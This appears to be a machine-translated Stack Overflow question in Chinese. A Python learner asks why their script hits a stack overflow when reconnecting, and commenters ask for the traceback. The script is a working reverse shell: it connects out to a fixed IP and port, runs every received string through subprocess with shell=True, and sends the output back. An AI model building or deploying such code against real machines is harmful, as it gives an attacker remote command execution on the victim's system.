1
這是我在學習Python的做了一個小腳本恢復,但由於某些原因,它告訴我,它無法從堆棧過流恢復。當另一臺服務器斷開時會發生這種情況無法從堆棧溢出
腳本:
#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999
def connect():
try:
s.connect((host,port))
except Exception as msg:
print("ERROR HAPPEND 2 ")
connect()
else:
Work()
def Work():
while True:
data = s.recv(1024)
print("Data : " + data.decode('utf-8'))
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) >0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes , "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
else:
s.shutdown(socket.SHUT_RDWR)
s.close()
thread1 = threading.Thread(target = connect)
thread1.start()
break
connect()
你能粘貼完整的錯誤? – user312016
請張貼堆棧跟蹤 –
什麼堆棧溢出?你是否真的將從套接字接收到的數據直接傳送到Popen? –